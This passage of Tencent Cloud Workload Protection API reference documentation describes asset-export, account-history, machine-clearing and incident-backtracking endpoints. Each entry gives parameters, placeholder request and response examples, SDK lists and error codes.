"Value": 11
},
{
"Desc": "none",
"Key": "jar",
"NewCount": 0,
"Value": 1086
},
{
"Desc": "none",
"Key": "initservice",
"NewCount": 0,
"Value": 1922
},
{
"Desc": "none",
"Key": "plantask",
"NewCount": 0,
"Value": 2950
},
{
"Desc": "none",
"Key": "env",
"NewCount": 0,
"Value": 5914763
},
{
"Desc": "none",
"Key": "coremodule",
"NewCount": 0,
"Value": 22143622
},
{
"Desc": "none",
"Key": "package",
"NewCount": 0,
"Value": 310039
}
]
```


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```
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetInitServiceList

Last updated：2024-12-06 15:41:40

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of asset management startup services.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetInitServiceList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Server UUID
Quuid	No	String	Server QUUID
Filters.N	No	Array of AssetFilters	Filter criteria • Name- string - required: no - package name • User- string - required: no - user • Status- string - required: no - default enabling status: 0 - unenabled; 1 - enabled (Linux only) • Type- string - required: no - type: type (Windows only) 1: Encoder

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			2: IE plugin 3: Network provider 4: Mirror hijacking 5: LSA provider 6:KnownDLLs 7: Start execution 8:WMI 9: Scheduled task 10: Winsock provider 11: Printing monitor 12: Resource manager 13: Driver service 14: Log-in
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Asset Management Startup Service List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetInitServiceList
<Common request parameters>
```

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```
{
"Uuid": "xx",
"Filters": [
{
"Values": [
"xx"
],
"Name": "xx",
"ExactMatch": true
}
],
"Quuid": "xx"
}
```

Output Example

```
{
"Response": {
"RequestId": "8564b09e-0e04-4516-bb59-db09742503c2",
"TaskId": "1"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ExportAssetJarList

Last updated：2024-12-06 15:41:40

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of Jar packages.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetJarList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of AssetFilters	Filter criteria • Name- string - required: no - package name • Type- uint - required: no - type 1: Application 2: System library 3: Web service built-in library 4: Other dependent packages • Status- string - required: no - whether executable: 0 - no; 1 yes

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Uuid	No	String	Server UUID
Quuid	No	String	Server QUUID
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting a Jar Package List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetJarList
<Common request parameters>

{
"Uuid": "xx",
"Filters": [
{
"Values": [
"xx"
],
"Name": "xx",
"ExactMatch": true
}
],
```

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```
"Quuid": "xx"
}
```

Output Example

```
{
"Response": {
"RequestId": "8564b09e-0e04-4516-bb59-db09742503c2",
"TaskId": "11"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ExportAssetPlanTaskList

Last updated：2024-12-06 15:41:38

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of scheduled asset management tasks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetPlanTaskList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Server UUID
Quuid	No	String	Server QUUID
Filters.N	No	Array of AssetFilters	Filter criteria • User- string - required: no - user • Status- int - required: no - default enabling status: 0 - unenabled; 1 - enabled
Order	No	String	Sorting method: asc for ascending order or desc for descending order

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By	No	String	Sorting method: [FirstTime]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Asset Management Plan Tasks

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetPlanTaskList
<Common request parameters>

{
"Uuid": "xx",
"Filters": [
{
"Values": [
"xx"
],
"Name": "xx",
"ExactMatch": true
}
],
"Quuid": "xx"
}
```

Output Example

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```
{
"Response": {
"RequestId": "8564b09e-0e04-4516-bb59-db09742503c2",
"TaskId": "11"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ExportAssetSystemPackageList

Last updated：2024-12-06 15:41:36

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of system installation packages for asset management.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetSystemPackageList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Host UUID
Quuid	No	String	Host QUUID
Filters.N	No	Array of Filter	Filter criteria • Name - String - required: no - package name • StartTime - String - required: no - start time of installation • EndTime - String - required: no - end time of installation • Type- int - required: no - installation package type: 1:rpm 2:dpkg

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			3:java 4:system
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Optional sorting method: [FistTime|InstallTime: installation time]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Asset Management System Installation Packages

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetSystemPackageList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"TaskId": "10001",
"RequestId": "8394a30b-cc7c-43c5-9971-c48d097b03de"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetUserKeyList

Last updated：2024-12-06 15:41:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of host account Keys.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetUserKeyList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Host QUUID
Uuid	Yes	String	Host UUID
Name	Yes	String	Account name
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.

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3. Output Parameters

Parameter Name	Type	Description
Keys	Array of AssetUserKeyInfo	Public key list Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number of partitions
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Host Account Key

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetUserKeyList
<Common request parameters>

{
"Name": "xx",
"Offset": 1,
"Limit": 1,
"Uuid": "xx",
"Quuid": "xx"
}
```

Output Example

```
{
"Response": {
"Keys": [
{
"Value": "root",
```

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```
"Comment": "desc of value1",
"EncryptType": "aes"
}
],
"Total": 1,
"RequestId": "8564b09e-0e04-4516-bb59-db09742503c2"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ResourceNotFound	The resource does not exist.

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DescribeHistoryAccounts

Last updated：2024-12-06 15:41:50

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the data of the account change history list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeHistoryAccounts.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	Yes	String	Yunjing client UUID
Limit	No	Integer	Number of returns. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Quantity of returns. It is 10 by default, and the maximum value is 100.
Filters.N	No	Array of Filter	Filter criteria • Username - String - required: no - username

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records in the history account list
HistoryAccounts	Array of HistoryAccount	Array of history accounts
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Account Change History

This example shows you how to obtain the list of account change history.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeHistoryAccounts
&Uuid=6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1
&Filters.0.Name=MachineIp
&Filters.0.Values.0=10.0.1.1
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"HistoryAccounts": [
{
"Id": 1,
"Uuid": "6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1",
"MachineName": "machine-name",
"MachineIp": "10.104.86.62",
"Username": "nginx",
"ModifyType": "CREATE",
```

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```
"ModifyTime": "2018-01-01 12:12:12"
}
],
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 100
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAccountStatistics

Last updated：2024-12-06 15:42:14

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the account statistics data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAccountStatistics.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of entries to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filtering criteria • Username - String - required: no - account username

3. Output Parameters

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Parameter Name	Type	Description
TotalCount	Integer	Total number of account statistics list records
AccountStatistics	Array of AccountStatistics	Account statistics list
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List Data of Account Statistics

This example shows you how to obtain the list data of account statistics.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeAccountStatistics
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"AccountStatistics": [
{
"Username": "nginx",
"MachineNum": 10
}
],
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 100
}
}
```

5. Developer Resources

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SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DeleteMachineClearHistory

Last updated：2024-12-06 15:42:15

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete clearing records of a machine.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteMachineClearHistory.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	IDs of records to be deleted, up to 100 characters in length

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteMachineClearHistory
<Common request parameters>

{
"Ids": [
1,
2,
3
]
}
```

Output Example

```
{
"Response": {
"RequestId": "de41ce31-f2c0-49a9-a476-57051a5c726c"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeAssetInfo

Last updated：2024-12-06 15:42:08

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of assets, including hosts, accounts, ports, processes, software, databases, web applications, web frameworks, web services, and web sites.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
MachineCount	Integer	Number of Hosts
AccountCount	Integer	Number of Accounts
PortCount	Integer	Number of ports

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ProcessCount	Integer	Number of Processes
SoftwareCount	Integer	Number of software
DatabaseCount	Integer	Number of databases
WebAppCount	Integer	Number of web applications
WebFrameCount	Integer	Number of web frameworks
WebServiceCount	Integer	Number of web services
WebLocationCount	Integer	Number of web sites
AccountNewCount	Integer	New accounts today
PortNewCount	Integer	New ports today
ProcessNewCount	Integer	New processes today
SoftwareNewCount	Integer	New software today
DatabaseNewCount	Integer	New databases today
WebAppNewCount	Integer	New web applications today
WebFrameNewCount	Integer	New web frameworks today
WebServiceNewCount	Integer	New web services today
WebLocationNewCount	Integer	New web sites today
MachineNewCount	Integer	New hosts today
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Overview of Asset Quantity

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
```

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```
Content-Type: application/json
X-TC-Action: DescribeAssetInfo
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237",
"MachineCount": 100,
"AccountCount": 100,
"PortCount": 100,
"ProcessCount": 100,
"SoftwareCount": 100,
"DatabaseCount": 100,
"WebAppCount": 100,
"WebFrameCount": 100,
"WebServiceCount": 100,
"WebLocationCount": 100,
"AccountNewCount": 100,
"PortNewCount": 100,
"ProcessNewCount": 100,
"SoftwareNewCount": 100,
"DatabaseNewCount": 100,
"WebAppNewCount": 100,
"WebFrameNewCount": 100,
"WebServiceNewCount": 100,
"WebLocationNewCount": 100,
"MachineNewCount": 100
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyMachineAutoClearConfig

Last updated：2024-12-06 15:41:33

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the cleanup configuration of the machine.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyMachineAutoClearConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ClearRule	Yes	Integer	Clean-up rule time, 0 for OFF, in days, up to 30 days

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyMachineAutoClearConfig
<Common request parameters>

{
"ClearRule": 24
}
```

Output Example

```
{
"Response": {
"RequestId": "962b0273-cc65-4d20-beac-7510a4dd8757"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
ResourceNotFound	The resource does not exist.

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DescribeExportMachines

Last updated：2024-12-06 15:41:51

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of hosts in a specific region.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeExportMachines.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
MachineType	Yes	String	CVM type • CVM: Represent a virtual machine • BM: Represent a physical machine
MachineRegion	Yes	String	Machine region. Example: ap-guangzhou, ap-shanghai
Limit	No	Integer	Quantity of returns. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset. Default value: 0.

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Filters.N	No	Array of Filter	Filter criteria • Keywords - String - required: no - keyword for query • Status - String - required: no - client online status (OFFLINE: offline | ONLINE: online | UNINSTALLED: not installed) • Version - String - required: no - current protection version (PRO_VERSION: Pro Edition | BASIC_VERSION: Basic Edition) Only one value is allowed for each filter criterion. Multiple values with the OR relationship are not supported for queries.
ProjectIds.N	No	Array of Integer	ID List of Businesses to which machines belong

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exportinga List of Hosts in a Specific Region

This example shows you how to export the list of hosts in a specific region using this API (DescribeExportMachines).

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeExportMachines
&MachineType=CVM
&MachineRegion=ap-shanghai
&Filters.0.Name=Keywords
&Filters.0.Values.0=10.0.1.1
&Limit=10
&Offset=0
&<Common request parameters>
```

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Output Example

```
{
"Response": {
"TaskId": "1",
"RequestId": "c30f35cb-2f3e-94f5-59ae-316e0f32e660"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeMachineClearHistory

Last updated：2024-12-06 15:41:49

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the clearing history records of a machine.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachineClearHistory.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filtering criteria Return entries that match both Keywords and TimeBetween when multiple filtering criteria are used • Keywords: instance name, private IP address, public IP address • TimeBetween: time interval
Limit	No	Integer	Limit Entries, 10 by default, up to 100.
Offset	No	Integer	Offset. Default value: 0.
Order	No	String	Ascending order, ASC, Descending order DESC, ASC by default.

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By	No	String	AgentLastOfflineTime: last offline time of client AutoClearTime: clearing time

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of entries
List	Array of MachineClearHistory	List data
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to query the clearing history of a machine.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMachineClearHistory
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "962b0273-cc65-4d20-beac-7510a4dd4737",
"TotalCount": 2,
"List": [
```

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```
{
"AgentLastOfflineTime": "2022-08-18 10:25:11",
"CreateTime": "2022-12-06 18:31:59",
"Id": 2,
"InstanceId": "ins-df13****",
"InstanceName": "new",
"PrivateIp": "10.0.0.1",
"PublicIp": "1.1.1.1"
},
{
"AgentLastOfflineTime": "2022-08-29 16:08:03",
"CreateTime": "2022-12-06 18:32:18",
"Id": 3,
"InstanceId": "ins-fmr1m***",
"InstanceName": "vul-test-123",
"PrivateIp": "10.0.0.2",
"PublicIp": "1.1.1.1"
}
]
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
ResourceNotFound	The resource does not exist.

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CreateIncidentBacktracking

Last updated：2024-12-06 15:42:16

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to trigger event investigation and alarm backtracking for Ultimate Edition machines.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateIncidentBacktracking.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	CWPP QUUID

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Triggering Event Investigation Backtracking

This example shows you how to trigger event investigation backtracking for a single Ultimate Edition machine.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateIncidentBacktracking
<Common request parameters>

{
"Quuid": "quuid-xxxx-xxx-xxxx"
}
```

Output Example

```
{
